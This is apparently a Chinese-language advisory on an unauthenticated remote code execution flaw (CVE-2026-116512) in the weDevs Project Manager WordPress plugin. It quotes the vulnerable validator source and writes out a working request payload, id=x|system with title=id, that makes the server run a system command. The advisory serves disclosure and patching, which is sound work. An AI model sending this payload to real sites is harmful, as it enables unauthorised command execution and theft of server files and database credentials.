夜雨聆风学习资料网

ARTICLE · 1313459

【漏洞预警】WordPress 插件爆出远程代码执行漏洞(POC已公开)CVE-2026-116512

【漏洞预警】WordPress 插件爆出远程代码执行漏洞(POC已公开)CVE-2026-116512

一、漏洞描述

weDevs Project Manager 是 WordPress 上的项目管理插件。改项目名走一条 REST 接口,请求里带 title 和 id 两个字段,路由上挂着权限检查。

漏洞定性为未授权远程代码执行,4.1.1 及更早的版本都在范围内,4.1.2 已经修掉。

请求里的 id 会被原样拼进一串用竖线隔开的校验规则,规则再被拆开,每截当一个 PHP 函数名字调用。命令执行完,输出跟着响应一起回来。

CVE 记录 10 月 31 日收录,11 月 2 日又更新过一次。

CVE 编号
CVE-2026-116512
什么洞
没登录的请求能在服务器上跑系统命令,4.1.1 及更早的 weDevs Project Manager 都在这个范围里,4.1.2 修掉。
出错的地方
更新项目那条 REST 接口,id 字段被拼进用竖线隔开的校验规则串,规则拆开后每一截都当成 PHP 函数名字调用,中间没有一张允许调用的函数名单。
什么情况会中
站点装了插件并开放 wp-json,请求能直接打到更新项目接口。带不带登录态都一样,也不需要站点里有人去点开什么页面。
中招会怎样
命令跟着请求执行,输出混在响应里返回。脚本可以顺着这条口子读站点目录里的配置文件,也能继续往目录里写文件,服务器上的文件和数据库账号就跟着暴露了。
现成脚本
公开的利用脚本已经放出,支持批量扫目标,记录里暂未标记在野利用。
修到哪个版本
4.1.2,2026 年 10 月 29 日发出。改动落在校验器和项目更新规则两个文件,其余路由和控制器没跟着动。
打分
CVSS 3.1 给到 9.8 分,11 月 4 日的 EPSS 是 0.584%。

二、漏洞原理

更新项目那条路由挂了 Update_Project 验证器,WP_Router 把规则逐个转成参数校验回调。权限类 Project_Manage_Capability 单独挂在路由上,排在后头。

// src/Project/Validators/Update_Project.php 4.1.1
public function rules() {
    $id = $this->request->get_param( 'id' );

    if ( is_array( $id ) ) {
        return [];
    }

    return [
        'title' => 'required|pm_unique:Project,title,'.$id,
        'id' => 'required|gtz',
    ];
}

id 取自请求本身,拼进 title 的查重规则里,中间只挡了一下数组,字母和符号都放过去了。

竖线是关键。

校验器拿规则串按竖线切开,逐截往下走。每截先按冒号分出函数名和参数,再补前缀。补出来的名字如果不存在,判断就落空,原名原封不动留着,最后被当成函数调一遍,请求里的值整个传进去。

// core/Validator/Abstract_Validator.php 4.1.1
protected function get_validation_fns( $fns ) {
    return explode( '|', $fns );
}

protected function call_validation_fn( $value, $fn ) {
    $fn_parts = explode( ':', $fn );
    $fn_name = trim( $fn_parts[0] );

    if ( strpos( $fn_name, 'pm_' ) === 0 ) {
        $prefixed_fn_name = 'wedevs_' . $fn_name;
    } else {
        $prefixed_fn_name = 'wedevs_pm_' . $fn_name;
    }

    if ( function_exists( $prefixed_fn_name ) ) {
        $fn_name = $prefixed_fn_name;
    }

    if ( count( $fn_parts ) > 1 ) {
        $fn_params = trim( $fn_parts[1] );
        $fn_params = explode( ',', $fn_params );

        return $fn_name( $value, $fn_params );
    }

    return $fn_name( $value );
}

system 补完前缀是 wedevs_pm_system,插件里当然没有这个函数,于是原名留了下来。

公开的验证脚本把 id 写成 x|system,title 写成 id。规则串里多切出一截 system,title 正好是要执行的命令。下面按 4.1.1 源码推导,没有在本机跑过。

// 请求体,取自公开的验证脚本
POST /wp-json/pm/v2/projects/1/update
id=x|system title=id

// 4.1.1 拼出来的 title 规则串
required|pm_unique:Project,title,x|system

// 按竖线切开,最后一截落到
$fn_name = 'system';
return system( 'id' );

WordPress 收到 REST 请求,先把参数交给校验回调,跑完才轮到权限回调。命令执行发生在前一步,权限类还没上场,请求也不需要登录态。

三、修复建议

将插件升到 4.1.2。

近期值得重点关注的漏洞预警

【紧急漏洞预警】nacos爆出权限绕过漏洞,可以创建管理员账户,经过分析有点出处(已复现,exp脚本已编写)
【紧急漏洞预警】PHP爆出两个代码执行漏洞(POC已公开)CVE-2026-109618与CVE-2026-10961
【漏洞预警】Node.js Brotli解码器越界写远程代码执行漏洞(POC已公开)CVE-2026-111497
【漏洞预警】Grafana爆出高危权限绕过漏洞(POC已公开)CVE-2026-100105
WordPress不登录也能写配置 漏洞藏在升级临时目录
【漏洞预警】近期Signal 通话组件 RingRTC被爆出高危漏洞,编号为CVE-2026-113380
【漏洞预警】Fortinet FortiSIEM‌路径遍历导致RCE漏洞(POC已公开)CVE-2026-106173
【漏洞预警】linux内核漏洞(POC已公开)已有 Android/ARM64 的利用实现CVE-2026-98260
【漏洞预警】Next.js爆出RCE漏洞(POC已公开)CVE-2026-96889
【漏洞预警】Nextcloud 已有服务器被写入后门
【紧急漏洞预警】GitLab整数溢出导致RCE漏洞(POC已公开)
【漏洞预警】AnyDesk Linux存在堆缓冲区溢出漏洞(POC已公开)
【漏洞预警】macOS爆出路径穿越漏洞CVE-2026-84568(POC已公开)
PostgreSQL爆出远程代码执行漏洞(POC已公开)
【漏洞预警】Atlassian八款产品爆任意文件读取漏洞(附POC)
【漏洞预警】Joomla视频画廊扩展存在SQL注入漏洞(POC已公开)
【漏洞预警】Roundcube网页邮件客户端存在SQL注入漏洞(附POC)
WordPress页面模板存在文件包含漏洞(POC已公开)CVE-2026-87902
WordPress插件Forminator未认证短代码执行漏洞(poc已公开)CVE-2026-92229
WordPress插件Authorizer存在权限提升漏洞(POC已公开)CVE-2026-81294
WordPress插件MStoreAPI存在认证绕过漏洞(POC已公开)CVE-2026-13447
CakePHP爆出SQL注入漏洞(POC已公开)CVE-2026-77635
Node.js模块proxy-addr爆出严重漏洞CVE-2026-90711
Langflow爆出代码执行漏洞CVE-2026-17633  (POC已公开)
Apache CVE-2026-42536,补它只用一行,洞龄十四年
【紧急】搜狗输入法爆出远程代码执行漏洞CVE-2026-51990  ,已被在野利用
【紧急】无需登录就能获取 GitLab 的任意文件数据(附POC)
【紧急】JumpServer堡垒机被公布Access Key泄露漏洞,可以实现提权
Spring Cloud Azure公布严重漏洞 无需任何权限即可取得登录会话
【漏洞POC已公开】Linux RDS 爆出提权漏洞 一块内存放两次,root就到手了
Tenda光猫爆出严重漏洞,目前无补丁(POC已公布
13 行补丁,堵住Linux能拿 root 的内核洞(EXP已公开)
48 字节,换走一台 Windows 的 SYSTEM(CVE-2026-62735漏洞POC已公开)
【漏洞预警】linux删个网桥就能提权root?目前没有补丁(POC已公开)
【漏洞预警】Linux三年前补上的洞,又一次被挖开了
【情报】支付宝8.2亿数据泄露?给同事说一声,别自己吓自己
【漏洞预警】自己注册个号,就能搬空别人的 Magento 订单和支付卡(POC已公开)
【漏洞预警】Next.js 爆出新漏洞,不用登录实现命令执行(POC已公开)
【漏洞补丁绕过预警】Redis CVE-2026-23479变种高危漏洞,EXP已公开
【漏洞补丁绕过】超 30 万 WordPress 站点受影响,Forminator 文件上传漏洞(附POC)
【漏洞预警】Exchange爆出RCE漏洞,利用Exchange 帮另一台 Exchange 开门(POC已公开)
【漏洞预警】不用登录,一个请求就能让 GeoServer 乖乖执行命令(POC已公开)
【漏洞预警】Keycloak不登录就能接管任意账户,双重验证也拦不住
【漏洞预警】 8月WebLogic公布了9个漏洞,有一个需要重点关注
【漏洞预警】近期MongoDB 公布了5个漏洞,最严重的一个可以不认证、远程就能拿下你电脑
【0DAY漏洞】 全球5G手机芯片厂商之一‌的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁
【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)
【漏洞预警】紧急排查,SMB服务再曝新漏洞,利用脚本已公开
【漏洞预警】不用输密码,对方已经接管你的Mac:官方补丁公布macOS存在未鉴权RCE漏洞
【0day漏洞预警】MariaDB 13 爆 9.8 分 RCE 链:最低 USAGE 权限就能远程执行命令
VMware 爆 5 个洞,两个 9.8 不用密码就能打穿 vCente

回首页,搜索你想要的文档

在首页搜索框输入关键词,快速定位资料

文库首页搜索指引 立即搜索

相关学习资料